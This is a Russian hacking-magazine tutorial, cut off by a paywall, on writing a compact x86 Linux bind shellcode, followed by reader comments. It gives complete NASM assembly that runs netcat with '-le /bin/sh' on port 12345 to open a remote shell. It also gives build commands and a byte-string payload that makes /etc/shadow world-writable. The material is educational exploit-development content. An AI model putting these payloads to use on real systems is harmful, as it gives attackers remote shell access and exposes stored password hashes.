Ты наверняка знаешь, что практически каждый эксплоит содержит в своем составе так называемый shell-код, выполняющийся при работе эксплоита. С первого взгляда может показаться, что писать shell-код — удел избранных, ведь для этого необходимо сначала постичь дзен байт-кода. Однако все не так страшно. В этой статье я расскажу, как написать простой bind shellcode, после чего мы его доработаем и сделаем одним из самых компактных в своем классе.

Shell-код представляет собой набор машинных команд, позволяющий получить доступ к командному интерпретатору (cmd.exe в Windows и shell в Linux, от чего, собственно, и происходит его название). В более широком смысле shell-код — это любой код, который используется как payload (полезная нагрузка для эксплоита) и представляет собой последовательность машинных команд, которую выполняет уязвимое приложение (этим кодом может быть также простая системная команда, вроде chmod 777 /etc/shadow):

x31xc0x50xb0x0fx68x61x64x6fx77x68x63x2fx73
x68x68x2fx2fx65x74x89xe3x31xc9x66xb9xffx01
xcdx80x40xcdx80
 

Немного теории

Уверен, что многие наши читатели и так знают те истины, которые я хочу описать в теоретическом разделе, но не будем забывать про недавно присоединившихся к нам хакеров и постараемся облегчить их вхождение в наше непростое дело.

 

Системные вызовы

Системные вызовы обеспечивают связь между пространством пользователя (user mode) и пространством ядра (kernel mode) и используются для множества задач, таких, например, как запуск файлов, операции ввода-вывода, чтения и записи файлов.

Для описания системного вызова через ассемблер используется соответствующий номер, который вместе с аргументами необходимо вносить в соответствующие регистры.

 

Регистры

Регистры — специальные ячейки памяти в процессоре, доступ к которым осуществляется по именам (в отличие от основной памяти). Используются для хранения данных и адресов. Нас будут интересовать регистры общего назначения: EAX, EBX, ECX, EDX, ESI, EDI, EBP и ESP.

 

Стек

Стеком называется область памяти программы для временного хранения произвольных данных. Важно помнить, что данные из стека извлекаются в обратном порядке (что сохранено последним — извлекается первым). Переполнение стека — достаточно распространенная уязвимость, при которой у атакующего появляется возможность перезаписать адрес возврата функции на адрес, содержащий shell-код.

 

Проблема нулевого байта

Многие функции для работы со строками используют нулевой байт для завершения строки.

Таким образом, если нулевой байт встретится в shell-коде, то все последующие за ним байты проигнорируются и код не сработает, что нужно учитывать.

 

Необходимые нам инструменты

  • Linux Debian x86/x86_64 (хотя мы и будем писать код под x86, сборка на машине x86_64 проблем вызвать не должна);
  • NASM — свободный (LGPL и лицензия BSD) ассемблер для архитектуры Intel x86;
  • LD — компоновщик;
  • objdump — утилита для работы с файлами, которая понадобится нам для извлечения байт-кода из бинарного файла;
  • GCC — компилятор;
  • strace — утилита для трассировки системных вызовов.

Если бы мы создавали bind shell классическим способом, то для этого нам пришлось бы несколько раз дергать сетевой системный вызов socketcall():

  • net.h/SYS_SOCKET — чтобы создать структуру сокета;
  • net.h/SYS_BIND — привязать дескриптор сокета к IP и порту;
  • net.h/SYS_LISTEN — начать слушать сеть;
  • net.h/SYS_ACCEPT — начать принимать соединения.

И в конечном итоге наш shell-код получился бы достаточно большим. В зависимости от реализации в среднем выходит 70 байт, что относительно немного… Но не будем забывать нашу цель — написать максимально компактный shell-код, что мы и сделаем, прибегнув к помощи netcat!

 

Почему размер так важен для shell-кода?

Ты, наверное, слышал, что при эксплуатации уязвимостей на переполнение буфера используется принцип перехвата управления, когда атакующий перезаписывает адрес возврата функции на адрес, где лежит shell-код. Размер shell-кода при этом ограничен и не может превышать определенного значения.

 

Код

Shell-код мы будем писать на чистом ассемблере, тестировать — в программе на С. Наша заготовка bind_shell_1.nasm, разбитая для удобства на блоки, выглядит следующим образом:

; Блок 1
section .text
global _start
_start:

; Блок 2
xor edx, edx
push edx
push 0x35343332  ; -vp12345
push 0x3170762d
mov esi, esp

; Блок 3
push edx
push 0x68732f2f  ; -le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp

; Блок 4
push edx
push 0x636e2f2f  ; /bin//nc
push 0x6e69622f
mov ebx, esp

; Блок 5
push edx
push esi
push edi
push ebx
mov ecx, esp
xor eax, eax
mov al,11
int 0x80

Сохраним ее как super_small_bind_shell_1.nasm и далее скомпилируем:

$ nasm -f elf32 super_small_bind_shell_1.nasm

а затем слинкуем наш код:

$ ld -m elf_i386 super_small_bind_shell_1.o -o super_small_bind_shell_1

и запустим получившуюся программу через трассировщик (strace), чтобы посмотреть, что она делает:

$ strace ./super_small_bind_shell_1
Запуск bind shell через трассировщик
Запуск bind shell через трассировщик

Как видишь, никакой магии. Через системный вызов execve() запускается netcat, который начинает слушать на порте 12345, открывая удаленный шелл на машине. В нашем случае мы использовали системный вызов execve() для запуска бинарного файла /bin/nc с нужными параметрами (-le/bin/sh -vp12345).

execve() имеет следующий прототип:

int execve(const char *filename, char *const argv[], char *const envp[]);
  • filename обычно указывает путь к исполняемому бинарному файлу — /bin/nc;
  • argv[] служит указателем на массив с аргументами, включая имя исполняемого файла, — ["/bin//nc", "-le//bin//sh", "-vp12345"];
  • envp[] указывает на массив, описывающий окружение. В нашем случае это NULL, так как мы не используем его.

Синтаксис нашего системного вызова (функции) выглядит следующим образом:

execve("/bin//nc", ["/bin//nc", "-le//bin//sh", "-vp12345"], NULL)
 

Описываем системные вызовы через ассемблер

Как было сказано в начале статьи, для указания системного вызова используется соответствующий номер (номера системных вызовов для x86 можно посмотреть здесь: /usr/include/x86_64-linux-gnu/asm/unistd_32.h), который необходимо поместить в регистр EAX (в нашем случае в регистр EAX, а точнее в его младшую часть AL было занесено значение 11, что соответствует системному вызову execve()).

Аргументы функции должны быть помещены в регистры EBX, ECX, EDX:

  • EBX — должен содержать адрес строки с filename — /bin//nc;
  • ECX — должен содержать адрес строки с argv[]"/bin//nc" "-le//bin//sh" "-vp12345";
  • EDX — должен содержать null-байт для envp[].

Регистры ESI и EDI мы использовали как временное хранилище для сохранения аргументов execve() в нужной последовательности в стек, чтобы в блоке 5 (см. код выше) перенести в регистр ECX указатель (указатель указателя, если быть более точным) на массив argv[].

 

Ныряем в код

Разберем код по блокам.

Блок 1 говорит сам за себя и предназначен для определения секции, содержащей исполняемый код и указание линкеру точки входа в программу.

Продолжение доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все материалы на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи один материал

Заинтересовала информация, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для материалов, опубликованных более двух месяцев назад.


11 комментарий

  1. crabovwik

    30.03.2017 at 16:41

    Великолепно, спасибо

  2. mbusyak

    30.03.2017 at 19:51

    Это ужасно! В первую очередь тоже самое уже есть на shell-storm. Никакой универсальности! Кто-то вообще ещё пишет шеллкоды под x86? К тому же зачем вызывать nc -le, когда параметр `-e` есть не везде. В тоже время можно написать на сисколах. Метод извлечения шеллкода на баше конечно тоже оставляет желать лучшего.

  3. Олег Бойцев

    30.03.2017 at 21:25

    Ну что Вы) Это прекрасно!

    Универсальность? Come on! Не об этом же ведь статья, а о размере!
    Размер кода на ассемблере получается самым компактным, и в этом его нетленная красота!

    На shell-storm такого компактного bind shell кода, увы, нет, поэтому я решил написать свой.
    Кто вообще пишет под x86? Олдскул.

    Дорогой друг, x86 никуда не исчез, на нем работает большая туча серверов c необновленными ОС, где x86_64 шеллкод не пройдет и на нем, помимо ARM, работает множество SCADA (http://oscada.org/news/single-page/article/openscada-into-programmable-logic-controller-plc/) и IoT-систем (http://eu.mouser.com/applications/Intel-Quark-Internet-of-Things-MCU/).

    • mbusyak

      30.03.2017 at 23:13

      http://shell-storm.org/shellcode/files/shellcode-859.php
      Вот точно такой же шеллкод по x86_64.
      Спасибо, мне не надо рассказывать про IoT. Если вы занимаетесь эксплуатацией IoT платформ, то желаю удачи найти вообще такую, на которой есть netcat. Что касается современного шеллкодинга в целом, я хочу заметить, что размер тут уже давно не играет никакой роли. В наше время, когда во всех без исключения системах есть NX защита, мне интересно примените ли вы этот шеллкод хоть раз.

  4. baragoz

    31.03.2017 at 11:52

    Супер, спасибо! Ждем еще статей по шеллкодингу!

  5. Nistix

    01.04.2017 at 19:10

    Статья годная! Подробно разжеваны принципы системных вызовов x86 из ассемблерного кода, для тех кто впервые сталкивается с этой темой (о чем и говорится о введении) — в самый раз.
    Насчет «олдскулл» x86. АССЕМБЛЕРНЫЙ код x86 ВСЕГДА выполнится на процессорах x86_64, но не наоборот!
    Описыанный в статье принцип системных вызовов через int 0x80 сработает на любой linux-like ОС хоть i386 хоть x86-64. Во FreeBSD принцип передачи параметров к вызовам ядра другой
    Размер 44 байта, это факт, коммент господина «mbusyak» насчет «Вот точно такой же шеллкод по x86_64.» не понял, по ссылке шелл-код работающий по другому принципу (не использовать nc, а открыть сокеты самому), и размер 57 байт, и да, он вызывает 64-битные системные вызовы через syscall, а не через прерывние 0x80, что в нем «точно такого же»?
    По поводу ARM, а на нем как раз весь IoT. Господа, здесь АССЕМБЛЕРНЫЙ код для архитектуры Intel x86, у процессоров ARM свой ассемблер, и совершенно другие регистры и система команд, никакой кореляции даже быть не может, это же не «переносимый» код на языке C.

  6. Олег Бойцев

    01.04.2017 at 19:45

    Согласен с вами, Nistix.
    Спасибо за объективную оценку!

  7. linux.siem

    27.05.2017 at 15:42

    Олег, просто бобма !!!

Оставить мнение

Check Also

Вскрываем хардверный имплант. Как устроен девайс для слежки, замаскированный под кабель USB

Крошечные жучки с SIM-картой внутри, способные передавать голос и отслеживать местоположен…